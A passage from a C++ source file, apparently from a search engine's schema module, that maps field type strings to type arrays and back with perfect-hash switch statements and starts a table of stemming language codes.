hhl("array/datetime/object"), hhl("array/float/object"), hhl("array/geospatial/object"), hhl("array/integer/object"), hhl("array/positive/object"), hhl("array/string/object"), hhl("array/term/object"), // FIXME: remove legacy term hhl("array/keyword/object"), hhl("array/text/object"), hhl("array/time/object"), hhl("array/timedelta/object"), hhl("array/uuid/object"), hhl("array/object/boolean"), hhl("array/object/date"), hhl("array/object/datetime"), hhl("array/object/float"), hhl("array/object/geospatial"), hhl("array/object/integer"), hhl("array/object/positive"), hhl("array/object/string"), hhl("array/object/term"), // FIXME: remove legacy term hhl("array/object/keyword"), hhl("array/object/text"), hhl("array/object/time"), hhl("array/object/timedelta"), hhl("array/object/uuid"), hhl("object/array"), hhl("object/array/boolean"), hhl("object/array/date"), hhl("object/array/datetime"), hhl("object/array/float"), hhl("object/array/geospatial"), hhl("object/array/integer"), hhl("object/array/positive"), hhl("object/array/string"), hhl("object/array/term"), // FIXME: remove legacy term hhl("object/array/keyword"), hhl("object/array/text"), hhl("object/array/time"), hhl("object/array/timedelta"), hhl("object/array/uuid"), hhl("boolean/array/object"), hhl("date/array/object"), hhl("datetime/array/object"), hhl("float/array/object"), hhl("geospatial/array/object"), hhl("integer/array/object"), hhl("positive/array/object"), hhl("string/array/object"), hhl("term/array/object"), // FIXME: remove legacy term hhl("keyword/array/object"), hhl("text/array/object"), hhl("time/array/object"), hhl("timedelta/array/object"), hhl("uuid/array/object"), hhl("boolean/object/array"), hhl("date/object/array"), hhl("datetime/object/array"), hhl("float/object/array"), hhl("geospatial/object/array"), hhl("integer/object/array"), hhl("positive/object/array"), hhl("string/object/array"), hhl("term/object/array"), // FIXME: remove legacy term hhl("keyword/object/array"), hhl("text/object/array"), hhl("time/object/array"), hhl("timedelta/object/array"), hhl("uuid/object/array"), hhl("object/boolean/array"), hhl("object/date/array"), hhl("object/datetime/array"), hhl("object/float/array"), hhl("object/geospatial/array"), hhl("object/integer/array"), hhl("object/positive/array"), hhl("object/string/array"), hhl("object/term/array"), // FIXME: remove legacy term hhl("object/keyword/array"), hhl("object/text/array"), hhl("object/time/array"), hhl("object/timedelta/array"), hhl("object/uuid/array"), hhl("foreign"), hhl("foreign/object"), hhl("object/foreign"), hhl("undefined"), }); switch(_.fhhl(str_type)) { case _.fhhl("boolean"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::empty, FieldType::boolean }}; return _; } case _.fhhl("date"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::empty, FieldType::date }}; return _; } case _.fhhl("datetime"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::empty, FieldType::datetime }}; return _; } case _.fhhl("float"): case _.fhhl("floating"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::empty, FieldType::floating }}; return _; } case _.fhhl("geospatial"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::empty, FieldType::geo }}; return _; } case _.fhhl("integer"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::empty, FieldType::integer }}; return _; } case _.fhhl("positive"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::empty, FieldType::positive }}; return _; } case _.fhhl("string"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::empty, FieldType::string }}; return _; } case _.fhhl("term"): // FIXME: remove legacy term case _.fhhl("keyword"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::empty, FieldType::keyword }}; return _; } case _.fhhl("text"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::empty, FieldType::text }}; return _; } case _.fhhl("time"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::empty, FieldType::time }}; return _; } case _.fhhl("timedelta"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::empty, FieldType::timedelta }}; return _; } case _.fhhl("uuid"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::empty, FieldType::uuid }}; return _; } case _.fhhl("array"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::array, FieldType::empty }}; return _; } case _.fhhl("boolean/array"): case _.fhhl("array/boolean"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::array, FieldType::boolean }}; return _; } case _.fhhl("date/array"): case _.fhhl("array/date"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::array, FieldType::date }}; return _; } case _.fhhl("datetime/array"): case _.fhhl("array/datetime"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::array, FieldType::datetime }}; return _; } case _.fhhl("float/array"): case _.fhhl("array/float"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::array, FieldType::floating }}; return _; } case _.fhhl("geospatial/array"): case _.fhhl("array/geospatial"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::array, FieldType::geo }}; return _; } case _.fhhl("integer/array"): case _.fhhl("array/integer"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::array, FieldType::integer }}; return _; } case _.fhhl("positive/array"): case _.fhhl("array/positive"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::array, FieldType::positive }}; return _; } case _.fhhl("string/array"): case _.fhhl("array/string"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::array, FieldType::string }}; return _; } case _.fhhl("term/array"): // FIXME: remove legacy term case _.fhhl("array/term"): // FIXME: remove legacy term case _.fhhl("keyword/array"): case _.fhhl("array/keyword"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::array, FieldType::keyword }}; return _; } case _.fhhl("text/array"): case _.fhhl("array/text"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::array, FieldType::text }}; return _; } case _.fhhl("time/array"): case _.fhhl("array/time"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::array, FieldType::time }}; return _; } case _.fhhl("timedelta/array"): case _.fhhl("array/timedelta"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::array, FieldType::timedelta }}; return _; } case _.fhhl("uuid/array"): case _.fhhl("array/uuid"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::array, FieldType::uuid }}; return _; } case _.fhhl("object"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::empty, FieldType::empty }}; return _; } case _.fhhl("array/object"): case _.fhhl("object/array"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::array, FieldType::empty }}; return _; } case _.fhhl("array/boolean/object"): case _.fhhl("array/object/boolean"): case _.fhhl("object/array/boolean"): case _.fhhl("boolean/array/object"): case _.fhhl("boolean/object/array"): case _.fhhl("object/boolean/array"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::array, FieldType::boolean }}; return _; } case _.fhhl("array/date/object"): case _.fhhl("array/object/date"): case _.fhhl("object/array/date"): case _.fhhl("date/array/object"): case _.fhhl("date/object/array"): case _.fhhl("object/date/array"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::array, FieldType::date }}; return _; } case _.fhhl("array/datetime/object"): case _.fhhl("array/object/datetime"): case _.fhhl("object/array/datetime"): case _.fhhl("datetime/array/object"): case _.fhhl("datetime/object/array"): case _.fhhl("object/datetime/array"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::array, FieldType::datetime }}; return _; } case _.fhhl("array/float/object"): case _.fhhl("array/object/float"): case _.fhhl("object/array/float"): case _.fhhl("float/array/object"): case _.fhhl("float/object/array"): case _.fhhl("object/float/array"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::array, FieldType::floating }}; return _; } case _.fhhl("array/geospatial/object"): case _.fhhl("array/object/geospatial"): case _.fhhl("object/array/geospatial"): case _.fhhl("geospatial/array/object"): case _.fhhl("geospatial/object/array"): case _.fhhl("object/geospatial/array"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::array, FieldType::geo }}; return _; } case _.fhhl("array/integer/object"): case _.fhhl("array/object/integer"): case _.fhhl("object/array/integer"): case _.fhhl("integer/array/object"): case _.fhhl("integer/object/array"): case _.fhhl("object/integer/array"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::array, FieldType::integer }}; return _; } case _.fhhl("array/positive/object"): case _.fhhl("array/object/positive"): case _.fhhl("object/array/positive"): case _.fhhl("positive/array/object"): case _.fhhl("positive/object/array"): case _.fhhl("object/positive/array"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::array, FieldType::positive }}; return _; } case _.fhhl("array/string/object"): case _.fhhl("array/object/string"): case _.fhhl("object/array/string"): case _.fhhl("string/array/object"): case _.fhhl("string/object/array"): case _.fhhl("object/string/array"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::array, FieldType::string }}; return _; } case _.fhhl("array/term/object"): // FIXME: remove legacy term case _.fhhl("array/object/term"): // FIXME: remove legacy term case _.fhhl("object/array/term"): // FIXME: remove legacy term case _.fhhl("term/array/object"): // FIXME: remove legacy term case _.fhhl("term/object/array"): // FIXME: remove legacy term case _.fhhl("object/term/array"): // FIXME: remove legacy term case _.fhhl("array/keyword/object"): case _.fhhl("array/object/keyword"): case _.fhhl("object/array/keyword"): case _.fhhl("keyword/array/object"): case _.fhhl("keyword/object/array"): case _.fhhl("object/keyword/array"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::array, FieldType::keyword }}; return _; } case _.fhhl("array/text/object"): case _.fhhl("array/object/text"): case _.fhhl("object/array/text"): case _.fhhl("text/array/object"): case _.fhhl("text/object/array"): case _.fhhl("object/text/array"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::array, FieldType::text }}; return _; } case _.fhhl("array/time/object"): case _.fhhl("array/object/time"): case _.fhhl("object/array/time"): case _.fhhl("time/array/object"): case _.fhhl("time/object/array"): case _.fhhl("object/time/array"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::array, FieldType::time }}; return _; } case _.fhhl("array/timedelta/object"): case _.fhhl("array/object/timedelta"): case _.fhhl("object/array/timedelta"): case _.fhhl("timedelta/array/object"): case _.fhhl("timedelta/object/array"): case _.fhhl("object/timedelta/array"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::array, FieldType::timedelta }}; return _; } case _.fhhl("array/uuid/object"): case _.fhhl("array/object/uuid"): case _.fhhl("object/array/uuid"): case _.fhhl("uuid/array/object"): case _.fhhl("uuid/object/array"): case _.fhhl("object/uuid/array"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::array, FieldType::uuid }}; return _; } case _.fhhl("boolean/object"): case _.fhhl("object/boolean"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::empty, FieldType::boolean }}; return _; } case _.fhhl("date/object"): case _.fhhl("object/date"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::empty, FieldType::date }}; return _; } case _.fhhl("datetime/object"): case _.fhhl("object/datetime"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::empty, FieldType::datetime }}; return _; } case _.fhhl("float/object"): case _.fhhl("object/float"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::empty, FieldType::floating }}; return _; } case _.fhhl("geospatial/object"): case _.fhhl("object/geospatial"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::empty, FieldType::geo }}; return _; } case _.fhhl("integer/object"): case _.fhhl("object/integer"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::empty, FieldType::integer }}; return _; } case _.fhhl("positive/object"): case _.fhhl("object/positive"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::empty, FieldType::positive }}; return _; } case _.fhhl("string/object"): case _.fhhl("object/string"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::empty, FieldType::string }}; return _; } case _.fhhl("term/object"): // FIXME: remove legacy term case _.fhhl("object/term"): // FIXME: remove legacy term case _.fhhl("keyword/object"): case _.fhhl("object/keyword"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::empty, FieldType::keyword }}; return _; } case _.fhhl("text/object"): case _.fhhl("object/text"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::empty, FieldType::text }}; return _; } case _.fhhl("time/object"): case _.fhhl("object/time"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::empty, FieldType::time }}; return _; } case _.fhhl("timedelta/object"): case _.fhhl("object/timedelta"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::empty, FieldType::timedelta }}; return _; } case _.fhhl("uuid/object"): case _.fhhl("object/uuid"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::object, FieldType::empty, FieldType::uuid }}; return _; } case _.fhhl("foreign"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::foreign, FieldType::empty, FieldType::empty, FieldType::empty }}; return _; } case _.fhhl("object/foreign"): case _.fhhl("foreign/object"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::foreign, FieldType::object, FieldType::empty, FieldType::empty }}; return _; } case _.fhhl("script"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::empty, FieldType::script }}; return _; } default: case _.fhhl("undefined"): { static const std::array<FieldType, SPC_TOTAL_TYPES> _{{ FieldType::empty, FieldType::empty, FieldType::empty, FieldType::empty }}; return _; } } } static inline const std::string& _get_str_index_uuid_field(UUIDFieldIndex index_uuid_field) noexcept { switch (index_uuid_field) { case UUIDFieldIndex::uuid: { static const std::string uuid("uuid"); return uuid; } case UUIDFieldIndex::uuid_field: { static const std::string uuid_field("uuid_field"); return uuid_field; } case UUIDFieldIndex::both: { static const std::string both("both"); return both; } default: { static const std::string unknown("unknown"); return unknown; } } } static inline const std::string& _get_str_type(const std::array<FieldType, SPC_TOTAL_TYPES>& sep_types) { constexpr static auto _ = phf::make_phf({ hh(EMPTY + EMPTY + EMPTY + EMPTY), hh(EMPTY + EMPTY + ARRAY + EMPTY), hh(EMPTY + EMPTY + ARRAY + BOOLEAN), hh(EMPTY + EMPTY + ARRAY + DATE), hh(EMPTY + EMPTY + ARRAY + DATETIME), hh(EMPTY + EMPTY + ARRAY + FLOATING), hh(EMPTY + EMPTY + ARRAY + GEO), hh(EMPTY + EMPTY + ARRAY + INTEGER), hh(EMPTY + EMPTY + ARRAY + POSITIVE), hh(EMPTY + EMPTY + ARRAY + STRING), hh(EMPTY + EMPTY + ARRAY + KEYWORD), hh(EMPTY + EMPTY + ARRAY + TEXT), hh(EMPTY + EMPTY + ARRAY + TIME), hh(EMPTY + EMPTY + ARRAY + TIMEDELTA), hh(EMPTY + EMPTY + ARRAY + UUID), hh(EMPTY + EMPTY + EMPTY + BOOLEAN), hh(EMPTY + EMPTY + EMPTY + DATE), hh(EMPTY + EMPTY + EMPTY + DATETIME), hh(EMPTY + EMPTY + EMPTY + FLOATING), hh(FOREIGN + EMPTY + EMPTY + EMPTY), hh(FOREIGN + OBJECT + EMPTY + EMPTY), hh(FOREIGN + EMPTY + EMPTY + SCRIPT), hh(EMPTY + EMPTY + EMPTY + GEO), hh(EMPTY + EMPTY + EMPTY + INTEGER), hh(EMPTY + OBJECT + EMPTY + EMPTY), hh(EMPTY + OBJECT + ARRAY + EMPTY), hh(EMPTY + OBJECT + ARRAY + BOOLEAN), hh(EMPTY + OBJECT + ARRAY + DATE), hh(EMPTY + OBJECT + ARRAY + DATETIME), hh(EMPTY + OBJECT + ARRAY + FLOATING), hh(EMPTY + OBJECT + ARRAY + GEO), hh(EMPTY + OBJECT + ARRAY + INTEGER), hh(EMPTY + OBJECT + ARRAY + POSITIVE), hh(EMPTY + OBJECT + ARRAY + STRING), hh(EMPTY + OBJECT + ARRAY + KEYWORD), hh(EMPTY + OBJECT + ARRAY + TEXT), hh(EMPTY + OBJECT + ARRAY + TIME), hh(EMPTY + OBJECT + ARRAY + TIMEDELTA), hh(EMPTY + OBJECT + ARRAY + UUID), hh(EMPTY + OBJECT + EMPTY + BOOLEAN), hh(EMPTY + OBJECT + EMPTY + DATE), hh(EMPTY + OBJECT + EMPTY + DATETIME), hh(EMPTY + OBJECT + EMPTY + FLOATING), hh(EMPTY + OBJECT + EMPTY + GEO), hh(EMPTY + OBJECT + EMPTY + INTEGER), hh(EMPTY + OBJECT + EMPTY + POSITIVE), hh(EMPTY + OBJECT + EMPTY + STRING), hh(EMPTY + OBJECT + EMPTY + KEYWORD), hh(EMPTY + OBJECT + EMPTY + TEXT), hh(EMPTY + OBJECT + EMPTY + TIME), hh(EMPTY + OBJECT + EMPTY + TIMEDELTA), hh(EMPTY + OBJECT + EMPTY + UUID), hh(EMPTY + EMPTY + EMPTY + POSITIVE), hh(EMPTY + EMPTY + EMPTY + SCRIPT), hh(EMPTY + EMPTY + EMPTY + STRING), hh(EMPTY + EMPTY + EMPTY + KEYWORD), hh(EMPTY + EMPTY + EMPTY + TEXT), hh(EMPTY + EMPTY + EMPTY + TIME), hh(EMPTY + EMPTY + EMPTY + TIMEDELTA), hh(EMPTY + EMPTY + EMPTY + UUID), }); switch (_.fhh(std::string_view(reinterpret_cast<const char*>(sep_types.data()), SPC_TOTAL_TYPES))) { case _.fhh(EMPTY + EMPTY + EMPTY + EMPTY): { static const std::string str_type("undefined"); return str_type; } case _.fhh(EMPTY + EMPTY + ARRAY + EMPTY): { static const std::string str_type("array"); return str_type; } case _.fhh(EMPTY + EMPTY + ARRAY + BOOLEAN): { static const std::string str_type("array/boolean"); return str_type; } case _.fhh(EMPTY + EMPTY + ARRAY + DATE): { static const std::string str_type("array/date"); return str_type; } case _.fhh(EMPTY + EMPTY + ARRAY + DATETIME): { static const std::string str_type("array/datetime"); return str_type; } case _.fhh(EMPTY + EMPTY + ARRAY + FLOATING): { static const std::string str_type("array/float"); return str_type; } case _.fhh(EMPTY + EMPTY + ARRAY + GEO): { static const std::string str_type("array/geospatial"); return str_type; } case _.fhh(EMPTY + EMPTY + ARRAY + INTEGER): { static const std::string str_type("array/integer"); return str_type; } case _.fhh(EMPTY + EMPTY + ARRAY + POSITIVE): { static const std::string str_type("array/positive"); return str_type; } case _.fhh(EMPTY + EMPTY + ARRAY + KEYWORD): { static const std::string str_type("array/keyword"); return str_type; } case _.fhh(EMPTY + EMPTY + ARRAY + STRING): { static const std::string str_type("array/string"); return str_type; } case _.fhh(EMPTY + EMPTY + ARRAY + TEXT): { static const std::string str_type("array/text"); return str_type; } case _.fhh(EMPTY + EMPTY + ARRAY + TIME): { static const std::string str_type("array/time"); return str_type; } case _.fhh(EMPTY + EMPTY + ARRAY + TIMEDELTA): { static const std::string str_type("array/timedelta"); return str_type; } case _.fhh(EMPTY + EMPTY + ARRAY + UUID): { static const std::string str_type("array/uuid"); return str_type; } case _.fhh(EMPTY + EMPTY + EMPTY + BOOLEAN): { static const std::string str_type("boolean"); return str_type; } case _.fhh(EMPTY + EMPTY + EMPTY + DATE): { static const std::string str_type("date"); return str_type; } case _.fhh(EMPTY + EMPTY + EMPTY + DATETIME): { static const std::string str_type("datetime"); return str_type; } case _.fhh(EMPTY + EMPTY + EMPTY + FLOATING): { static const std::string str_type("floating"); return str_type; } case _.fhh(FOREIGN + EMPTY + EMPTY + EMPTY): { static const std::string str_type("foreign"); return str_type; } case _.fhh(FOREIGN + OBJECT + EMPTY + EMPTY): { static const std::string str_type("foreign/object"); return str_type; } case _.fhh(FOREIGN + EMPTY + EMPTY + SCRIPT): { static const std::string str_type("foreign/script"); return str_type; } case _.fhh(EMPTY + EMPTY + EMPTY + GEO): { static const std::string str_type("geospatial"); return str_type; } case _.fhh(EMPTY + EMPTY + EMPTY + INTEGER): { static const std::string str_type("integer"); return str_type; } case _.fhh(EMPTY + OBJECT + EMPTY + EMPTY): { static const std::string str_type("object"); return str_type; } case _.fhh(EMPTY + OBJECT + ARRAY + EMPTY): { static const std::string str_type("object/array"); return str_type; } case _.fhh(EMPTY + OBJECT + ARRAY + BOOLEAN): { static const std::string str_type("object/array/boolean"); return str_type; } case _.fhh(EMPTY + OBJECT + ARRAY + DATE): { static const std::string str_type("object/array/date"); return str_type; } case _.fhh(EMPTY + OBJECT + ARRAY + DATETIME): { static const std::string str_type("object/array/datetime"); return str_type; } case _.fhh(EMPTY + OBJECT + ARRAY + FLOATING): { static const std::string str_type("object/array/float"); return str_type; } case _.fhh(EMPTY + OBJECT + ARRAY + GEO): { static const std::string str_type("object/array/geospatial"); return str_type; } case _.fhh(EMPTY + OBJECT + ARRAY + INTEGER): { static const std::string str_type("object/array/integer"); return str_type; } case _.fhh(EMPTY + OBJECT + ARRAY + POSITIVE): { static const std::string str_type("object/array/positive"); return str_type; } case _.fhh(EMPTY + OBJECT + ARRAY + STRING): { static const std::string str_type("object/array/string"); return str_type; } case _.fhh(EMPTY + OBJECT + ARRAY + KEYWORD): { static const std::string str_type("object/array/keyword"); return str_type; } case _.fhh(EMPTY + OBJECT + ARRAY + TEXT): { static const std::string str_type("object/array/text"); return str_type; } case _.fhh(EMPTY + OBJECT + ARRAY + TIME): { static const std::string str_type("object/array/time"); return str_type; } case _.fhh(EMPTY + OBJECT + ARRAY + TIMEDELTA): { static const std::string str_type("object/array/timedelta"); return str_type; } case _.fhh(EMPTY + OBJECT + ARRAY + UUID): { static const std::string str_type("object/array/uuid"); return str_type; } case _.fhh(EMPTY + OBJECT + EMPTY + BOOLEAN): { static const std::string str_type("object/boolean"); return str_type; } case _.fhh(EMPTY + OBJECT + EMPTY + DATE): { static const std::string str_type("object/date"); return str_type; } case _.fhh(EMPTY + OBJECT + EMPTY + DATETIME): { static const std::string str_type("object/datetime"); return str_type; } case _.fhh(EMPTY + OBJECT + EMPTY + FLOATING): { static const std::string str_type("object/float"); return str_type; } case _.fhh(EMPTY + OBJECT + EMPTY + GEO): { static const std::string str_type("object/geospatial"); return str_type; } case _.fhh(EMPTY + OBJECT + EMPTY + INTEGER): { static const std::string str_type("object/integer"); return str_type; } case _.fhh(EMPTY + OBJECT + EMPTY + POSITIVE): { static const std::string str_type("object/positive"); return str_type; } case _.fhh(EMPTY + OBJECT + EMPTY + STRING): { static const std::string str_type("object/string"); return str_type; } case _.fhh(EMPTY + OBJECT + EMPTY + KEYWORD): { static const std::string str_type("object/keyword"); return str_type; } case _.fhh(EMPTY + OBJECT + EMPTY + TEXT): { static const std::string str_type("object/text"); return str_type; } case _.fhh(EMPTY + OBJECT + EMPTY + TIME): { static const std::string str_type("object/time"); return str_type; } case _.fhh(EMPTY + OBJECT + EMPTY + TIMEDELTA): { static const std::string str_type("object/timedelta"); return str_type; } case _.fhh(EMPTY + OBJECT + EMPTY + UUID): { static const std::string str_type("object/uuid"); return str_type; } case _.fhh(EMPTY + EMPTY + EMPTY + POSITIVE): { static const std::string str_type("positive"); return str_type; } case _.fhh(EMPTY + EMPTY + EMPTY + SCRIPT): { static const std::string str_type("script"); return str_type; } case _.fhh(EMPTY + EMPTY + EMPTY + STRING): { static const std::string str_type("string"); return str_type; } case _.fhh(EMPTY + EMPTY + EMPTY + KEYWORD): { static const std::string str_type("keyword"); return str_type; } case _.fhh(EMPTY + EMPTY + EMPTY + TEXT): { static const std::string str_type("text"); return str_type; } case _.fhh(EMPTY + EMPTY + EMPTY + TIME): { static const std::string str_type("time"); return str_type; } case _.fhh(EMPTY + EMPTY + EMPTY + TIMEDELTA): { static const std::string str_type("timedelta"); return str_type; } case _.fhh(EMPTY + EMPTY + EMPTY + UUID): { static const std::string str_type("uuid"); return str_type; } default: { std::string result; if (sep_types[SPC_FOREIGN_TYPE] == FieldType::foreign) { result += enum_name(sep_types[SPC_FOREIGN_TYPE]); } if (sep_types[SPC_OBJECT_TYPE] == FieldType::object) { if (!result.empty()) { result += "/"; } result += enum_name(sep_types[SPC_OBJECT_TYPE]); } if (sep_types[SPC_ARRAY_TYPE] == FieldType::array) { if (!result.empty()) { result += "/"; } result += enum_name(sep_types[SPC_ARRAY_TYPE]); } if (sep_types[SPC_CONCRETE_TYPE] != FieldType::empty) { if (!result.empty()) { result += "/"; } result += enum_name(sep_types[SPC_CONCRETE_TYPE]); } THROW(ClientError, "{} not supported.", repr(result), RESERVED_TYPE); } } } /* * Function to generate a prefix given an field accuracy. */ static inline std::pair<std::string, FieldType> _get_acc_data(std::string_view field_acc) { auto accuracy_date = _get_accuracy_datetime(field_acc.substr(1)); if (accuracy_date != UnitTime::INVALID) { return std::make_pair(get_prefix(toUType(accuracy_date)), FieldType::datetime); } try { switch (field_acc[1]) { case 'g': if (field_acc[2] == 'e' && field_acc[3] == 'o') { return std::make_pair(get_prefix(strict_stoull(field_acc.substr(4))), FieldType::geo); } break; case 't': if (field_acc[2] == 'd') { return std::make_pair(get_prefix(toUType(_get_accuracy_time(field_acc.substr(3)))), FieldType::timedelta); } return std::make_pair(get_prefix(toUType(_get_accuracy_time(field_acc.substr(2)))), FieldType::time); default: return std::make_pair(get_prefix(strict_stoull(field_acc.substr(1))), FieldType::integer); } } catch (const std::invalid_argument&) { } catch (const std::out_of_range&) { } THROW(ClientError, "The field name: {} is not valid", repr(field_acc)); } /* * Default acc_prefixes for global values. */ static std::vector<std::string> get_acc_prefix(const std::vector<uint64_t> accuracy) { std::vector<std::string> res; res.reserve(accuracy.size()); for (const auto& acc : accuracy) { res.push_back(get_prefix(acc)); } return res; } static const std::vector<std::string> global_acc_prefix_num(get_acc_prefix(def_accuracy_num)); static const std::vector<std::string> global_acc_prefix_date(get_acc_prefix(def_accuracy_datetime)); static const std::vector<std::string> global_acc_prefix_time(get_acc_prefix(def_accuracy_time)); static const std::vector<std::string> global_acc_prefix_geo(get_acc_prefix(def_accuracy_geo)); /* * Acceptable values string used when there is a data inconsistency. */ specification_t default_spc; static inline const std::pair<bool, const std::string>& _get_stem_language(std::string_view str_stem_language) { constexpr static auto _ = phf::make_phf({ hhl("armenian"), hhl("hy"), hhl("basque"), hhl("eu"), hhl("catalan"), hhl("ca"), hhl("danish"), hhl("da"), hhl("dutch"), hhl("nl"), hhl("kraaij_pohlmann"), hhl("english"), hhl("en"), hhl("earlyenglish"), hhl("english_lovins"), hhl("lovins"), hhl("english_porter"), hhl("porter"), hhl("finnish"), hhl("fi"), hhl("french"), hhl("fr"), hhl("german"), hhl("de"), hhl("german2"), hhl("hungarian"), hhl("hu"), hhl("italian"), hhl("it"), hhl("norwegian"), hhl("nb"), hhl("nn"), hhl("no"), hhl("portuguese"), hhl("pt"), hhl("romanian"), hhl("ro"), hhl("russian"), hhl("ru"), hhl("spanish"), hhl("es"), hhl("swedish"), hhl("sv"), hhl("turkish"), hhl("tr"), hhl("none"), hhl(""), }); switch(_.fhhl(str_stem_language)) { case _.fhhl("armenian"): { static const std::pair<bool, const std::string> hy{ true, "hy" }; return hy; } case _.fhhl("hy"): { static const std::pair<bool, const std::string> hy{ true, "hy" }; return hy; } case _.fhhl("basque"): { static const std::pair<bool, const std::string> ue{ true, "ue" }; return ue; } case _.fhhl("eu"): { static const std::pair<bool, const std::string> eu{ true, "eu" }; return eu; } case _.fhhl("catalan"): { static const std::pair<bool, const std::string> ca{ true, "ca" }; return ca; } case _.fhhl("ca"): { static const std::pair<bool, const std::string> ca{ true, "ca" }; return ca; } case _.fhhl("danish"): { static const std::pair<bool, const std::string> da{ true, "da" }; return da; } case _.fhhl("da"): { static const std::pair<bool, const std::string> da{ true, "da" }; return da; } case _.fhhl("dutch"): { static const std::pair<bool, const std::string> nl{ true, "nl" }; return nl; } case _.fhhl("nl"): { static const std::pair<bool, const std::string> nl{ true, "nl" }; return nl; } case _.fhhl("kraaij_pohlmann"): { static const std::pair<bool, const std::string> nl{ false, "nl" }; return nl; } case _.fhhl("english"): { static const std::pair<bool, const std::string> en{ true, "en" }; return en; } case _.fhhl("en"): { static const std::pair<bool, const std::string> en{ 